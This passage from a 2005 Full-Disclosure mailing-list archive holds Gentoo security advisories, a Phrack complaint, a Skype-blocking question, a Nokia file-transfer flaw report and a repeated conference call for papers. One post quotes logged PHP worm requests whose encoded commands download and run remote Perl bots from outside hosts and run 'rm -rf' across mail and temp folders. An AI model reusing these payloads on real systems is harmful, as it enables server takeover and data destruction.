http://www.unet.univie.ac.at/~a9606653/gettyp/gt.htm Beyond that, I'm not coming up with much. Well, besides the obvious UPX of course... it's possible that the AV company made a typo. I saw one on the Upx-it page - they referred to their own product as Upc-it once. =) -- Peace. ~G On Wed, 19 Jan 2005 11:07:38 +0800, Juan dela Cruz <3xp101t at gmail.com> wrote: > Anybody knows about this UPC Win32 packer or where to find it? I've > searched the info highway and ended up to Swizzor. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From koon at gentoo.org Sun Jan 23 12:14:41 2005 From: koon at gentoo.org (Thierry Carrez) Date: Sun, 23 Jan 2005 13:14:41 +0100 Subject: [Full-Disclosure] [ GLSA 200501-31 ] teTeX, pTeX, CSTeX: Multiple vulnerabilities Message-ID: <41F39531.8060700@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-31 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: teTeX, pTeX, CSTeX: Multiple vulnerabilities Date: January 23, 2005 Bugs: #75801 ID: 200501-31 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== teTeX, pTeX and CSTeX make use of vulnerable Xpdf code which may allow the remote execution of arbitrary code. Furthermore, the xdvizilla script is vulnerable to temporary file handling issues. Background ========== teTeX is a complete and open source TeX distribution. CSTeX is another TeX distribution including Czech and Slovak support. pTeX is another alternative that allows Japanese publishing with TeX. xdvizilla is an auxiliary script used to integrate DVI file viewing in Mozilla-based browsers. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/tetex < 2.0.2-r5 >= 2.0.2-r5 2 app-text/cstetex < 2.0.2-r1 >= 2.0.2-r1 3 app-text/ptex < 3.1.4-r2 >= 3.1.4-r2 ------------------------------------------------------------------- 3 affected packages on all of their supported architectures. ------------------------------------------------------------------- Description =========== teTeX, pTeX and CSTeX all make use of Xpdf code and may therefore be vulnerable to the various overflows that were discovered in Xpdf code (CAN-2004-0888, CAN-2004-0889, CAN-2004-1125 and CAN-2005-0064). Furthermore, Javier Fernandez-Sanguino Pena discovered that the xdvizilla script does not handle temporary files correctly. Impact ====== An attacker could design a malicious input file which, when processed using one of the TeX distributions, could lead to the execution of arbitrary code. Furthermore, a local attacker could create symbolic links in the temporary files directory, pointing to a valid file somewhere on the filesystem. When xdvizilla is called, this would result in the file being overwritten with the rights of the user running the script. Workaround ========== There is no known workaround at this time. Resolution ========== All teTeX users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/tetex-2.0.2-r5" All CSTeX users should also upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/cstetex-2.0.2-r1" Finally, all pTeX users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/ptex-3.1.4-r2" References ========== [ 1 ] CAN-2004-0888 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888 [ 2 ] CAN-2004-0889 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0889 [ 3 ] CAN-2004-1125 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125 [ 4 ] CAN-2005-0064 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-31.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/e53a0732/attachment.bin From jaervosz at gentoo.org Sun Jan 23 13:35:09 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Sun, 23 Jan 2005 14:35:09 +0100 Subject: [Full-Disclosure] [ GLSA 200501-32 ] KPdf, KOffice: Stack overflow in included Xpdf code Message-ID: <200501231435.19393.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-32 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: KPdf, KOffice: Stack overflow in included Xpdf code Date: January 23, 2005 Bugs: #78619, #78620 ID: 200501-32 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== KPdf and KOffice both include vulnerable Xpdf code to handle PDF files, making them vulnerable to the execution of arbitrary code. Background ========== KPdf is a KDE-based PDF viewer included in the kdegraphics package. KOffice is an integrated office suite for KDE. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-office/koffice < 1.3.5-r2 >= 1.3.5-r2 2 kde-base/kdegraphics < 3.3.2-r2 >= 3.3.2-r2 *>= 3.2.3-r4 ------------------------------------------------------------------- 2 affected packages on all of their supported architectures. ------------------------------------------------------------------- Description =========== KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf is vulnerable to a new stack overflow, as described in GLSA 200501-28. Impact ====== An attacker could entice a user to open a specially-crafted PDF file, potentially resulting in the execution of arbitrary code with the rights of the user running the affected application. Workaround ========== There is no known workaround at this time. Resolution ========== All KPdf users should upgrade to the latest version of kdegraphics: # emerge --sync # emerge --ask --oneshot --verbose kde-base/kdegraphics All KOffice users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose app-office/koffice References ========== [ 1 ] GLSA 200501-18 http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml [ 2 ] CAN-2005-0064 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 [ 3 ] KDE Security Advisory: kpdf Buffer Overflow Vulnerability http://www.kde.org/info/security/advisory-20050119-1.txt [ 4 ] KDE Security Advisory: KOffice PDF Import Filter Vulnerability http://www.kde.org/info/security/advisory-20050120-1.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-32.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/4e2e890e/attachment.bin From nobody at tatooine.homelinux.net Sun Jan 23 09:45:48 2005 From: nobody at tatooine.homelinux.net (starwars) Date: Sun, 23 Jan 2005 10:45:48 +0100 (CET) Subject: [Full-Disclosure] Phrack is dead, long live Phrack! Message-ID: After several years of steady decline in the wrong hands, maybe it is too late to save Phrack. But I think we owe something back to the zine that gave us so much. Many us were drawn into computer security by Phrack, grew up along with it, and were nourished by the high quality papers of it's contributors. The current editors of Phrack have decided to kill off Phrack for good. This is an outrage. Phrack has always purported to be for the community by the community. They have no right to kill off nearly twenty years of tradition. Despite it's poor performance of late, Phrack still has an unparalleled and awesome record as a technical source you can really bite your teeth into. It's also had a major cultural impact over the years: "You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. ... Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. " -- A hacker's manifesto, the Mentor, 1986 The current "anonymous" batch editors have outgrown the zine. They were a bad choice to begin with, but regardless, that's happened to phrack before. On a regular basis. Every generation or so passes on phrack to the next. It's tradition. What's different about the current batch of editors was their intense arrogance and unusualy patronizing attitude towards the scene. Phrack hasn't been about the computer underground for years. The last ten years have turned Phrack into a prestigious journal for security research. The anarchistic underground roots of phrack have been whitewashed away by the latest batch of editors. Go and read the issues from 1980s, early 90s. The reason this happened was that when the scene moved to the Internet in the mid 90s the MIT hacker memes battled it out against "war games" hacker meme of the 80s. Hacker still has an 80s meaning for the general public, but the MIT hacker meme clearly won amongst the technically savy. The "cracker" and "script kiddy" memes were part of a process that turned Phrack's underground past into an embarrassment. So Phrack gradually turned against it's own roots. It's not for the hacker community by the hacker community anymore. Far from it. The current incarnation of Phrack actually spreads hypocritical anti-hacker memes between it's covers. It's BY $150-an-hour-security-consultants FOR our-reputation-in-the-security-industry. Phrack has been hijacked by sellouts. Aside from their snobbish elitist attitude, what have the recent editors of Phrack contributed? The articles are written by others. Try reading the "loopback" section written by the Phrack editors sometime. Degrading newbies never gets old for these guys. Ha ha! you're all so stupid! We're so uber elite! So now what's happened is that these guys are so old school, so been-there-done-that, patronizing assholes that they've decided it's time for Phrack to die rather than evolve. Here's an alternative to killing off a 20 year tradition: run a competition amongst would-be editors who can publish the best next issue of phrack. Then allow the PUBLIC to vote amongst alternatives as to whom succeeds the current editors. The team that manages to hack together the best edition of phrack 64 wins. Phrack is dead. Long live phrack! From stfunub at gmail.com Sun Jan 23 15:42:21 2005 From: stfunub at gmail.com (Andrew Smith) Date: Sun, 23 Jan 2005 15:42:21 +0000 Subject: [Full-Disclosure] PHP Worms Message-ID: <33713abc050123074237c24efb@mail.gmail.com> I thought these had stopped? I'm still seeing thousands of them each day: "GET/read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20killall%20-9%20perl;cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.abcft.org/themes/bot.htm;wget%20http://http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; * 20 "GET /read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;%20rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/tmp/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/spool/mail/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/mail/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20%20/usr/local/apache/proxy/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 * 3 "GET /read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.quasi-sane.com/pics/bot.htm;wget%20http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; * 1500 (just from today) They seem to be getting promptly deleted from the host server (i'm yet to find a live one) but I was under the impression that the initial burst was over? -- zxy_rbt2 From lewk at gentoo.org Sun Jan 23 22:09:27 2005 From: lewk at gentoo.org (Luke Macken) Date: Sun, 23 Jan 2005 17:09:27 -0500 Subject: [Full-Disclosure] [ GLSA 200501-33 ] MySQL: Insecure temporary file creation Message-ID: <20050123220927.GA32288@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: MySQL: Insecure temporary file creation Date: January 23, 2005 Bugs: #77805 ID: 200501-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== MySQL is vulnerable to symlink attacks, potentially allowing a local user to overwrite arbitrary files. Background ========== MySQL is a fast, multi-threaded, multi-user SQL database server. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 dev-db/mysql < 4.0.22-r2 >= 4.0.22-r2 Description =========== Javier Fernandez-Sanguino Pena from the Debian Security Audit Project discovered that the 'mysqlaccess' script creates temporary files in world-writeable directories with predictable names. Impact ====== A local attacker could create symbolic links in the temporary files directory, pointing to a valid file somewhere on the filesystem. When the mysqlaccess script is executed, this would result in the file being overwritten with the rights of the user running the software, which could be the root user. Workaround ========== There is no known workaround at this time. Resolution ========== All MySQL users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-db/mysql-4.0.22-r2" References ========== [ 1 ] CAN-2005-0004 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0004 [ 2 ] Secunia Advisory SA13867 http://secunia.com/advisories/13867/ Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-33.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/9280f048/attachment.bin From Valdis.Kletnieks at vt.edu Mon Jan 24 00:28:41 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 23 Jan 2005 19:28:41 -0500 Subject: [Full-Disclosure] PHP Worms In-Reply-To: Your message of "Sun, 23 Jan 2005 15:42:21 GMT." <33713abc050123074237c24efb@mail.gmail.com> References: <33713abc050123074237c24efb@mail.gmail.com> Message-ID: <200501240028.j0O0Sf5a004666@turing-police.cc.vt.edu> On Sun, 23 Jan 2005 15:42:21 GMT, Andrew Smith said: > I thought these had stopped? > I'm still seeing thousands of them each day: Obviously, there's still enough *still* unpatched servers out there to sustain some worm activity. Wait long enough and you'll even see the occasional Code Red packet go by. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/9ef801c8/attachment.bin From alain at ait.ac.th Mon Jan 24 08:57:44 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Mon, 24 Jan 2005 15:57:44 +0700 Subject: [Full-Disclosure] blocking SkyPE? Message-ID: <20050124085744.GC26105@ait.ac.th> Hello list, This may be a bit borderline topic. Feel free to redirect me to a more appropriate place for this discussion if you know one. I need to block SkyPE at the border of our network for many reasons. It's not an easy task. The following paper: http://www1.cs.columbia.edu/~library/TR-repository/reports/reports-2004/cucs-039-04.pdf gives a lot of insight to the protocol. This stuff has been obviously engineered to bypass any port-based or IP-based blocks and L7 protocol identification. The folks of L7-filter have a pattern at http://l7-filter.sourceforge.net/layer7-protocols/protocols/skype.pat but it's classified as having 'marginal' effectiveness. Based on the paper mentioned above, the weak point might be the direct connection to the SkyPE login servers, but in my observation, login process seems to possibly take place through supernodes as well in recent versions. Has anyone worked on this? Googling doesn't return much useful. Greets, _Alain_ From rohit at kritikalsolutions.com Mon Jan 24 05:01:08 2005 From: rohit at kritikalsolutions.com (rohit at kritikalsolutions.com) Date: Mon, 24 Jan 2005 10:31:08 +0530 (IST) Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS Message-ID: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> Hi, I forwarded this bug to Nokia security group, they believe it is a feature and not a bug. Whats your opinion? >>> 1. By default, executable files cannot be transferred (many mobile game companies probably earn their bread because games are not transferrable from one phone to the next). But if you rename the file (install file) to any extension such as jpg or an unknown extension, it can be transferred! So if i need to transfer a virus, all i need to do is rename the file to some jpg extension and and transfer it! 2. When series 60 OS receives such a file, it executes it immediately. For example, in case a MMS message comes with a picture or an installer attachment, Nokia would immediately start running the attachment. This is a major design flaw. Imagine a virus, renamed as a .jpg (mobile wall paper) is downloaded by users on p2p networks or from a website or can come from a friend. Virus installs itself and than shows a jpg file, so user does not suspect anything, while he is now infected. This is than sent to everyone in the address book, who again just see the wall paper after a prompt, while the virus has installed itself. The first problem can be used to exchange mobile games and ring tones for free. When you try to transfer the same without renaming, the OS does not allow transferring them. Thanks Rohit Dube New Delhi. Nokia response to both the problems follows: Hi Rohit, Sorry for the delay answering back to you. About your findings, the first one with sending files after changing the extension is a known limitation of the current implementation. We also implement OMA DRM 2 which will work as expected in such situations. The second one is also know feature, the file type is not determinated from the extension but from the content of the file. So a sis package renamed to an jpeg file still looks from the inside as a sis package and so the user is prompted for installation. Thank you again for your report. tatu > -----Original Message----- > From: ext rohit at kritikalsolutions.com > [mailto:rohit at kritikalsolutions.com] > Sent: Tuesday, January 18, 2005 04:17 > To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne > (Nokia-M/Tampere) > Subject: RE: series 60 os auto executes files > > > Hi Tatu, Janne, > Any information on this vulnerability? Can you please confirm your > findings and send me an update on when should I/we disclose it? > Thanks > Rohit > From Marc.Heuse at nruns.com Mon Jan 24 11:00:12 2005 From: Marc.Heuse at nruns.com (Marc Heuse) Date: Mon, 24 Jan 2005 12:00:12 +0100 Subject: [Full-Disclosure] DIMVA 2005 - Final Call for Papers Message-ID: Our appologies for multiple copies of this announcement. Due to multiple requests for a deadline extension, we decided to extended the submission deadline for full and industry papers to Friday, February 11th, 2005. ---------------------------------------------------------------------------- FINAL CALL FOR PAPERS * * * * EXTENDED DEADLINE: FEBRUARY 11th, 2005 * * * * DIMVA 2005 Second GI SIG SIDAR Conference on Detection of Intrusions & Malware, and Vulnerability Assessment In Cooperation with the IEEE Task Force on Information Assurance Vienna, Austria July 7 - 8, 2005 http://www.dimva.org/dimva2005 mailto:info at dimva.org ---------------------------------------------------------------------------- The special interest group Security - Intrusion Detection and Response (SIDAR) of the German Informatics Society (GI) organizes DIMVA as an annual conference that brings together experts from throughout Europe to discuss the state of the art in the areas of intrusion detection, detection of malware, and assessment of vulnerabilities. DIMVA emphasizes the collaboration and exchange of ideas between industry, academia, law enforcement and government, and invites four types of submissions: - Full papers of up to 6000 words, presenting novel and mature research results. Full papers will be reviewed, and papers accepted for presentation at the conference will be included in the proceedings, which are planned to appear in Springer?s Lecture Notes in Computer Science (LNCS) series. - Industry papers of up to 2000 words, describing best practices, case studies, lessons learned, or latest product developments. Industry papers will be reviewed and, if accepted for presentation at the conference, will be published at the DIMVA 2005 Web site. - Panel proposals for the discussion of hot topics in the areas of intrusion detection, malware, or vulnerability assessment. Panel proposals should include a short rationale for the panel, a description of the proposed panel format, and names of panelists. - Proposals of two-to-three-hour tutorials on topics of current or emerging interest. Tutorial proposals must not exceed three pages. They must clearly identify the intended audience, include a brief biography of the speaker, and contain enough material to provide a sense of their scope and depth. Tutorial material will be published on the DIMVA 2005 Web site. The scope of DIMVA is broad and includes, but is not restricted to the following areas: Intrusion detection: - Novel intrusion detection and correlation techniques such as alert fusion or honey pots - Intrusion detection in special environments such as control systems or mobile networks - Assessment, testing, and benchmarking of intrusion detection systems - Automated response systems and intrusion prevention systems - Incident management and response, response team cooperation, and legal issues Malware: - Detection and prevention of viruses, worms, Trojan horses, and other forms of malware - Malware trends and statistics - Techniques used to increase the harmfulness of malware - Detailed analysis and discussion of the latest malware as well as computer and network forensics in general Vulnerability assessment: - New reverse engineering techniques - Circumvention of security mechanisms such as bypassing of buffer overflow protection - Risk evaluation and weighing, ROI on vulnerability assessments and management - Software development, testing, and verification methodologies for IT-security DIMVA specifically encourages interdisciplinary papers that combine elements from all three main areas, as well as papers from other communities such as machine learning, law, crime detection and investigation, or economics that present these communities? perspectives on and contributions to the above IT security issues. ORGANIZING COMMITTEE: General Chair : Christopher Kruegel (Technical University Vienna, Austria, chris at cs.ucsb.edu) Academic Chair: Klaus Julisch (IBM Research, Switzerland, dimva-chair at zurich.ibm.com) Industry Chair: Marc Heuse (n.runs, Germany, marc.heuse at nruns.com) Sponsor Chair : Werner Metterhausen (VZM GmbH, Germany, wme at vzm.de) PROGRAM COMMITTEE: Dominique Alessandri, IBM, Switzerland Thomas Biege, SUSE LINUX AG, Germany Roland B?schkes, T-Mobile, Germany Marc Dacier, Institut Eur?com, France Herve Debar, France Telecom R&D, France Luca Deri, ntop.org, Italy Sven Dietrich, CMU, USA Toralv Dirro, McAfee, Germany Ulrich Flegel, University of Dortmund, Germany Steven Furnell, University of Plymouth, UK Detlef G?nther, CERT-VW, Germany Dirk H?ger, BSI, Germany Bernhard H?mmerli, HTA Luzern, Switzerland Oliver Heinz, arago AG, Germany Peter Herrmann, University of Dortmund, Germany Marc Heuse, n.runs, Germany Erland Jonsson, Chalmers University of Technology, Sweden Engin Kirda, Technical University Vienna, Austria Hartmut K?nig, Technical University of Cottbus, Germany Klaus-Peter Kossakowski, Presecure, Germany Hannes Lubich, Computer Associates, Switzerland Michael Meier, Technical University of Cottbus, Germany Martin Naedele, ABB Corporate Research, Switzerland Marc Rennhard, ETH Zurich, Switzerland Dirk Schadt, Computer Associates, Germany Robin Sommer, TU M?nchen, Germany Axel Tanner, IBM Research, Switzerland Stephen Wolthusen, Fraunhofer-IGD, Germany IMPORTANT DATES: - FEBRUARY 11, 2005: Deadline for submission of full and industry papers. (** EXTENDED DEADLINE !!! **) - March 4, 2005 : Deadline for submission of panel and tutorial proposals. - March 21, 2005 : Notification of acceptance or rejection. - April 8, 2005 : Final paper camera ready copy due. - July 7 - 8, 2005: DIMVA conference. PAPER SUBMISSIONS AND CONFERENCE REGISTRATION: Submitted full papers must not substantially overlap papers that have been published or that are simultaneously submitted to a journal or a conference with proceedings. Full papers must include an abstract, a list of keywords, and a list of all authors and their affiliations. Committee members are not required to read appendices; thus, papers should be intelligible without them. Submissions must be in English, and in either postscript or PDF format. Authors of accepted papers must guarantee that their papers will be presented at the conference. Plan to give presentations, panels, and tutorials in English. Authors are invited to submit their papers electronically. Details on the electronic submission procedure as well as detailed registration information (including fees, suggested hotels, and travel directions) will be provided by end of December 2004 at the conference Web site at http://www.dimva.org/dimva2005. SPONSORSHIP OPPORTUNITIES: We solicit interested organizations to serve as sponsors for DIMVA 2005; please contact the Sponsor Chair, Mr. Werner Metterhausen, for information regarding corporate sponsorship (mailto: wme at vzm.de). STEERING COMMITTEE: Chairs: Ulrich Flegel (University of Dortmund, Germany), Michael Meier (Technical University of Cottbus, Germany) Roland B?schkes (T-Mobile, Germany), Marc Heuse (n.runs, Germany) From Marc.Heuse at nruns.com Mon Jan 24 11:00:12 2005 From: Marc.Heuse at nruns.com (Marc Heuse) Date: Mon, 24 Jan 2005 12:00:12 +0100 Subject: [Full-Disclosure] DIMVA 2005 - Final Call for Papers Message-ID: Our appologies for multiple copies of this announcement. Due to multiple requests for a deadline extension, we decided to extended the submission deadline for full and industry papers to Friday, February 11th, 2005. ---------------------------------------------------------------------------- FINAL CALL FOR PAPERS * * * * EXTENDED DEADLINE: FEBRUARY 11th, 2005 * * * * DIMVA 2005 Second GI SIG SIDAR Conference on Detection of Intrusions & Malware, and Vulnerability Assessment In Cooperation with the IEEE Task Force on Information Assurance Vienna, Austria July 7 - 8, 2005 http://www.dimva.org/dimva2005 mailto:info at dimva.org ---------------------------------------------------------------------------- The special interest group Security - Intrusion Detection and Response (SIDAR) of the German Informatics Society (GI) organizes DIMVA as an annual conference that brings together experts from throughout Europe to discuss the state of the art in the areas of intrusion detection, detection of malware, and assessment of vulnerabilities. DIMVA emphasizes the collaboration and exchange of ideas between industry, academia, law enforcement and government, and invites four types of submissions: - Full papers of up to 6000 words, presenting novel and mature research results. Full papers will be reviewed, and papers accepted for presentation at the conference will be included in the proceedings, which are planned to appear in Springer?s Lecture Notes in Computer Science (LNCS) series. - Industry papers of up to 2000 words, describing best practices, case studies, lessons learned, or latest product developments. Industry papers will be reviewed and, if accepted for presentation at the conference, will be published at the DIMVA 2005 Web site. - Panel proposals for the discussion of hot topics in the areas of intrusion detection, malware, or vulnerability assessment. Panel proposals should include a short rationale for the panel, a description of the proposed panel format, and names of panelists. - Proposals of two-to-three-hour tutorials on topics of current or emerging interest. Tutorial proposals must not exceed three pages. They must clearly identify the intended audience, include a brief biography of the speaker, and contain enough material to provide a sense of their scope and depth. Tutorial material will be published on the DIMVA 2005 Web site. The scope of DIMVA is broad and includes, but is not restricted to the following areas: Intrusion detection: - Novel intrusion detection and correlation techniques such as alert fusion or honey pots - Intrusion detection in special environments such as control systems or mobile networks - Assessment, testing, and benchmarking of intrusion detection systems - Automated response systems and intrusion prevention systems - Incident management and response, response team cooperation, and legal issues Malware: - Detection and prevention of viruses, worms, Trojan horses, and other forms of malware - Malware trends and statistics - Techniques used to increase the harmfulness of malware - Detailed analysis and discussion of the latest malware as well as computer and network forensics in general Vulnerability assessment: - New reverse engineering techniques - Circumvention of security mechanisms such as bypassing of buffer overflow protection - Risk evaluation and weighing, ROI on vulnerability assessments and management - Software development, testing, and verification methodologies for IT-security DIMVA specifically encourages interdisciplinary papers that combine elements from all three main areas, as well as papers from other communities such as machine learning, law, crime detection and investigation, or economics that present these communities? perspectives on and contributions to the above IT security issues. ORGANIZING COMMITTEE: General Chair : Christopher Kruegel (Technical University Vienna, Austria, chris at cs.ucsb.edu) Academic Chair: Klaus Julisch (IBM Research, Switzerland, dimva-chair at zurich.ibm.com) Industry Chair: Marc Heuse (n.runs, Germany, marc.heuse at nruns.com) Sponsor Chair : Werner Metterhausen (VZM GmbH, Germany, wme at vzm.de) PROGRAM COMMITTEE: Dominique Alessandri, IBM, Switzerland Thomas Biege, SUSE LINUX AG, Germany Roland B?schkes, T-Mobile, Germany Marc Dacier, Institut Eur?com, France Herve Debar, France Telecom R&D, France Luca Deri, ntop.org, Italy Sven Dietrich, CMU, USA Toralv Dirro, McAfee, Germany Ulrich Flegel, University of Dortmund, Germany Steven Furnell, University of Plymouth, UK Detlef G?nther, CERT-VW, Germany Dirk H?ger, BSI, Germany Bernhard H?mmerli, HTA Luzern, Switzerland Oliver Heinz, arago AG, Germany Peter Herrmann, University of Dortmund, Germany Marc 